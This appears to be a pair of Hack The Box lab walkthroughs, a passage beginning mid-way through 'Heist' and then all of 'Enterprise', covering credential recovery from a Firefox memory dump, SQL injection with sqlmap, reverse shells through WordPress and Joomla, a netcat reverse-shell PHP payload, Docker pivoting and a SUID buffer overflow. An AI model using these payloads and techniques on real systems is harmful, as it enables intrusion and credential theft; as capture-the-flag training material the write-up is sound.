*Evil-WinRM* PS C:\users\chase> upload strings64.exe c:\users\chase
Info: Uploading strings64.exe to c:\users\chase
Data: 218676 bytes of 218676 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\users\chase> cmd /c "strings64.exe -accepteula firefox.dmp > firefox.txt"
cmd.exe : 
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Strings v2.53 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload strings64.exe
Info: Uploading strings64.exe to C:\windows\system32\spool\drivers\color\strings64.exe

Data: 218676 bytes of 218676 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"
cmd.exe :
    + CategoryInfo          : NotSpecified: (:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Strings v2.53 - Search for ANSI and Unicode strings in binary images.       
Copyright (C) 1999-2016 Mark Russinovich             
Sysinternals - www.sysinternals.com
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color>

I searched for the word “admin@” and found Administrator’s credentials exposed in some GET requests:

*Evil-WinRM* PS C:\users\chase> findstr "admin@" ./firefox.txt
-snip-
facebook extension (malware)","created":"2012-02-13T15:41:02Z"},"enabled":true,"versionRange":[{"severity":3,"maxVersion":"*","minVersion":"0","targetApplication":[]}],"id":"79ad1c9b-0828-78
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
O^privateBrowsingId=1,p,:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
admin@vietbacsecurity.com
admin@youtubeplayer.com
admin@youtubespeedup.com
:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
pkiadmin@trustcentre.co.za0

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i heist.htb -u administrator -p '4dD!5}x/re8]FBuZ' -s './ps1_scripts/' -e './exe_files/'

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


Directory: C:\Users\Administrator\Desktop


Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a---- 4/22/2019 9:05 AM 32 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
50d*****897

refence used : https://0xrick.github.io/hack-the-box/heist/

Author : Jacco Straathof

HTB – Enterprise

Today we are going to solve another CTF challenge “Enterprise” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Hard

Task: find user.txt and root.txt file on victim’s machine

Let’s start with a nmap scan

root@kali:~/htb/enterprise# nmap -p- 10.10.10.61
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-03 09:21 EST
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 68.60% done; ETC: 09:21 (0:00:06 remaining)
Nmap scan report for enterprise.local (10.10.10.61)
Host is up (0.089s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
5355/tcp filtered llmnr
8080/tcp open http-proxy
32812/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 17.61 seconds

Exploitation

In this port 80 we can see wordpress cms is installed, and i manage to run dirbuster on each http(s) service found, but the result from dirbuster not found any interesting file or directory yet

Trying to enumerate the wordpress user manually with send get request to http://10.10.10.61/?author=1 we can increment the id to see if there have another user and just got 1 username william.riker

next for this port SSL i try to scan using sslscan

•% ➜ sslscan 10.10.10.61
Version: 1.11.11-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Connected to 10.10.10.61

Testing SSL server 10.10.10.61 on port 443 using SNI name 10.10.10.61

  TLS Fallback SCSV:
Server does not support TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

... Snip ...

  Supported Server Cipher(s):
Preferred TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-256 DHE 256
...snip... 

And not seeing there is vulnerability in the ssl, and start to looking with dirbuster maybe can found interesting files/directory, And finally found https://10.10.10.61/files/lcars.zip this zip files contains wordpress plugin sourcecode named lcars, I got 3 files inside the zip file the file is lcars.php, lcars_db.php, lcars_dbppost.php

// this is lcars.php
<?php
/*
*     Plugin Name: lcars
*     Plugin URI: enterprise.htb
*     Description: Library Computer Access And Retrieval System
*     Author: Geordi La Forge
*     Version: 0.2
*     Author URI: enterprise.htb
*                             */

// Need to create the user interface. 
// need to finsih the db interface
// need to make it secure

?> 
// This is lcars_db.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}


// test to retireve an ID
if (isset($_GET['query'])){
    $query = $_GET['query'];
    $sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
    $result = $db->query($sql);
    echo $result;
} else {
    echo "Failed to read query";
}


?> 

in this file we could see our input is directly used to construct the SQL Query, so this is straight forward SQL Injection, but the problem is the code is correct because $result is returning an array and php can’t echo-ing an array so we can’t get the output easily.

// This is lcars_dbpost.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}


// test to retireve a post name
if (isset($_GET['query'])){
    $query = (int)$_GET['query'];
    $sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
    $result = $db->query($sql);
    if ($result){
        $row = $result->fetch_row();
        if (isset($row[0])){
            echo $row[0];
        }
    }
} else {
    echo "Failed to read query";
}


?> 

In this file we can’t get SQL Injection because they cast anything we input into integer with php type casting, but this can give us information about how much the records from wp_posts table.

after got all of this information, i just check out in the wordpress installed on port 80 are this vulnerable plugin is installed we can validate it by opening this http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=1 and it’s seems installed, first i wanna get information from lcars_dbpost.php so i create little python script

import requests

url = "http://10.10.10.61/wp-content/plugins/lcars/lcars_dbpost.php?query="

for x in range(150):
	tmp = url + str(x)
	print str(x),str(requests.get(tmp).text).strip()

and i got there was more than 40 posts, but the page just published 5 posts, i dunno how the exact number because the machine already retired when i write this, i just think maybe the other post not published or still in draft and we could seen the draft post using the sql injection on lcars_db.php I’ll just use Sqlmap for this.

sqlmap.py -u http://10.10.10.61/wp-conten/plugins/lcars_db.php?query=1 --dbs

available databases [9]:
[*] blah
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb

I try to extract all information from this database found sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=1 -D wordpress -T wp_users -C user_login,user_pass,user_email --dump --hex --threads 5

DB:wordpress

Table:wp_users
user : william.riker
pass : $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.
email : william.riker@enterprise.htb

Table:wp_posts
I got 1 draft post including password list

Needed somewhere to put some passwords quickly
ZxJyhGem4k338S2Y 
enterprisencc170 
ZD3YxfnSjezg67JZ 
u*Z14ru0p#ttj83zS6

DB: joomladb 
prefix : edz2g

Command : sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=1 -D joomladb -T edz2g_users -C username,password,email --dump --threads 10
Table : edz2g_users
+-----------------+--------------------------------------------------------------+--------------------------------+
| username | password | email |
+-----------------+--------------------------------------------------------------+--------------------------------+
| geordi.la.forge | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge@enterprise.htb |
| Guinan | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | guinan@enterprise.htb |
+-----------------+--------------------------------------------------------------+--------------------------------+

DB: mysql
user: joomladb  |  2eb70fd4eb74f31283541aad4e83ab6e077bc0df MySQL4.1/MySQL5 : joomlapassword!
user: root  | 95b8a7b0a041cf2011bea41db57315c603285253 MySQL4.1/MySQL5 : NCC-1701E
user:wordpressdb | 10c910bc9c2c46140dc275cb69dc6565de125630 MySQL4.1/MySQL5 : passwordwordpress

i just try to login to wordpress admin using username william.riker with every password that we found and got u*Z14ru0p#ttj83zS6 as the correct password and logged in to wordpress admin, and just doing common way to get reverse shell by modified themes or plugin within wordpress panel editor i am using reverse-shell.php from pentestmonkey.

Listening on [0.0.0.0] (family 0, port 9999)
Connection from [10.10.10.61] port 9999 [tcp/*] accepted (family 2, sport 59474)
Linux b8319d86d21e 4.10.0-37-generic #41-Ubuntu SMP Fri Oct 6 20:20:37 UTC 2017 x86_64 GNU/Linux
03:46:41 up 39 min, 0 users, load average: 9.35, 8.68, 8.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ hostname
b8319d86d21e
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.4/16 scope global eth0
valid_lft forever preferred_lft forever    

after got reverse shell i try to look what user is available in /home directory but then i just got user.txt files saying we’re not on the right place to get flag, scanning with LinEnum.sh and got information we currently inside docker container (becase linenum.sh found file with docker stuff like .dockerenv and so on) and separate from the host.

before i move to service on port 8080, i wanna do ping sweep and port scan using the reverse shell that we got inside docker container so maybe we’ll found another docker machine ip address.

for x in $(seq 1 255); do ping -W 1 -c 1 172.17.0.$x | grep from; done And got 4 Ip Address UP

UP: 172.17.0.1
UP: 172.17.0.2
UP: 172.17.0.3
UP :172.17.0.4

And i run full port scan on each ip address

$./nc -vz 172.17.0.1 1-65535 2>/dev/stdout | grep 'succeeded!'
Connection to 172.17.0.1 22 port [tcp/ssh] succeeded!
Connection to 172.17.0.1 80 port [tcp/http] succeeded!
Connection to 172.17.0.1 443 port [tcp/https] succeeded!
Connection to 172.17.0.1 5355 port [tcp/hostmon] succeeded!
Connection to 172.17.0.1 8080 port [tcp/http-alt] succeeded!
Connection to 172.17.0.1 32812 port [tcp/*] succeeded!

$./nc -vz 172.17.0.2 1-65535 2>/dev/stdout | grep 'succeeded!'
Connection to 172.17.0.2 3306 port [tcp/mysql] succeeded!

$./nc -vz 172.17.0.3 1-65535 2>/dev/stdout | grep 'succeeded!'
Connection to 172.17.0.3 80 port [tcp/http] succeeded!

$./nc -vz 172.17.0.4 1-65535 2>/dev/stdout | grep 'succeeded!'
Connection to 172.17.0.4 80 port [tcp/http] succeeded!

save this information for late and move to the next one is port 8080 in this we can see they using joomla and we already have the user and the hash password but i can’t get to crack it, so just try to use the plain text password that we have before

So i just found the correct password to login joomla

ZxJyhGem4k338S2Y (Guinan used to login joomla)
ZD3YxfnSjezg67JZ (geordi.la.forge used to login joomla)

after login  we just doing similiar thing for wordpress to get reverse shell

•% ➜ nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [10.10.10.61] port 1337 [tcp/*] accepted (family 2, sport 53630)
Linux a7018bfdc454 4.10.0-37-generic #41-Ubuntu SMP Fri Oct 6 20:20:37 UTC 2017 x86_64 GNU/Linux
 16:36:01 up 31 min,  0 users,  load average: 6.57, 9.57, 9.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ hostname
a7018bfdc454
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 scope global eth0
       valid_lft forever preferred_lft forever

we got ip 172.17.0.3 so our information is now complete about the docker ip

172.17.0.1 (Host machine)
172.17.0.2 (Mysql)
172.17.0.3 (Joomla)
172.17.0.4 (WordPress)

doing enumeration using linenum doesn’t give interesting finding, but we could see there is folder name files and same content with files folder in https service, and i just check using mount -l

/dev/mapper/enterprise--vg-root on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/mapper/enterprise--vg-root on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/mapper/enterprise--vg-root on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/mapper/enterprise--vg-root on /var/www/html type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/mapper/enterprise--vg-root on /var/www/html/files type ext4 (rw,relatime,errors=remount-ro,data=ordered)

so the files folder is mounted same as the folder in https service, so if we add file from this joomla machine, it will symlink to the https service, so if we wanna run reverse shell on the host machine we could try to run put the reverse shell files in folder /files/ and accessing the file using https service because its running on host machine.

While both WordPress and Joomla are run in a Docker container, the Apache server on port 443 is not. Looking at Joomla, it appears that the /files directory is shared between 443 and 8080, and can be uploaded to through the Joomla administrator panel. By accessing Components >
EXTPLORER, it is possible to upload a PHP shell and execute it on port 443, which grants a shell as www-data outside of the Docker container.

rev.php :

<?php
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.70 443 >/tmp/f');
?>

 

and we got the host machine reverse shell 🙂

root@kali:~/htb# rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.61] 57542
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@enterprise:/var/www/html/files$ 
$ hostname
enterprise.htb
$ ls /home
jeanlucpicard
$ ls /home/jeanlucpicard/
user.txt
$ cat /home/jeanlucpicard/user.txt
085*****747
$

after got the flag for user, i try to enumerate the host machine using LinEnum.sh to find a way to get root privilage and from the LinEnum result just got binary lcars with suid running in port 32812 so i think the only way to get root is from exploiting this binary, i start to doing static analysis the binary using ida.

•% ➜ checksec lcars
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

Ida Decompile

this binary prompt access code before we can access their menu, you can found the access code using ltrace because the binary is using strcmp to compare with our input

➜ ltrace ./lcars
__libc_start_main(0x56640c91, 1, 0xff8de674, 0x56640d30 <unfinished ...>
setresuid(0, 0, 0, 0x56640ca8)                                                                     = 0xffffffff
puts(""
)                                                                                           = 1
puts("                 _______ _______"...                 _______ _______  ______ _______
)                                                        = 49
puts("          |      |       |_____|"...          |      |       |_____| |_____/ |______
)                                                        = 49
puts("          |_____ |_____  |     |"...          |_____ |_____  |     | |    \_ ______|
)                                                        = 49
puts(""
)                                                                                           = 1
puts("Welcome to the Library Computer "...Welcome to the Library Computer Access and Retrieval System

)                                                        = 61
puts("Enter Bridge Access Code: "Enter Bridge Access Code:
)                                                                 = 27
fflush(0xf7ebdd60)                                                                                 = 0
fgets(x
"x\n", 9, 0xf7ebd5a0)                                                                        = 0xff8de5b7
strcmp("x\n", "picarda1")                                                                          = 1
puts("\nInvalid Code\nTerminating Consol"...
Invalid Code
Terminating Console

)                                                      = 35
fflush(0xf7ebdd60)                                                                                 = 0
exit(0 <no return ...>
+++ exited (status 0) +++

we got picarda1 as access code, then from ida decompile we got this

int main_menu()
{
  int result; // eax@2
  char v1; // [sp+Ch] [bp-19Ch]@2
  int v2; // [sp+D4h] [bp-D4h]@1
  char v3; // [sp+D8h] [bp-D0h]@5

  v2 = 0;
  startScreen();
  puts("\n");
  puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
  puts("1. Navigation");
  puts("2. Ships Log");
  puts("3. Science");
  puts("4. Security");
  puts("5. StellaCartography");
  puts("6. Engineering");
  puts("7. Exit");
  puts("Waiting for input: ");
  fflush(stdout);
  __isoc99_scanf("%d", &v2);
  switch ( v2 )
  {
    case 1:
      puts("Enter System Name and Warp Speed: ");
      fflush(stdout);
      __isoc99_scanf("%s", &v1);
      puts("\nUnable to comply. Antimatter injectors are not responding\n\n");
      fflush(stdout);
      result = main_menu();
      break;
    case 2:
      puts("Enter New Bridge Log: ");
      fflush(stdout);
      __isoc99_scanf("%s", &v1);
      puts("\nUnable to comply. Tertiary data nodes are Offline\n\n");
      fflush(stdout);
      result = main_menu();
      break;
    case 3:
      puts("\nSecondary Routines not implemented\nReturning to Main Menu\n\n");
      fflush(stdout);
      result = main_menu();
      break;
    case 4:
      puts("Disable Security Force Fields");
      puts("Enter Security Override:");
      fflush(stdout);
      __isoc99_scanf("%s", &v3);
      result = printf("Rerouting Tertiary EPS Junctions: %s", &v3);
      break;
    case 5:
      puts("\nSecondary Routines not implemented\nReturning to Main Menu\n");
      fflush(stdout);
      result = main_menu();
      break;
    case 6:
      puts("\nSecondary Routines not implemented\nReturning to Main Menu\n\n");
      fflush(stdout);
      result = main_menu();
      break;
    case 7:
      exit(0);
      return result;
    default:
      result = unable();
      break;
  }
  return result;
}

From that 7 options just number 1,2,4 is prompt an input with scanf and we could try buffer overflow But i can’t manage to solve this because have PIE protection which make i can’t get the exact location address for my shellcode because its randomized

After seeing ippsec video about this, actually the ASLR is disable in /proc/sys/kernel/randomize_va_space you can verified that by running ldd /bin/lcars | grep libc

root script : https://github.com/puckiestyle/python/blob/master/htb-enterprise.py

root@kali:~/htb/enterprise# python htb-enterprise.py 
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode

$ hostname & id
enterprise.htb
uid=0(root) gid=0(root) groups=0(root)
$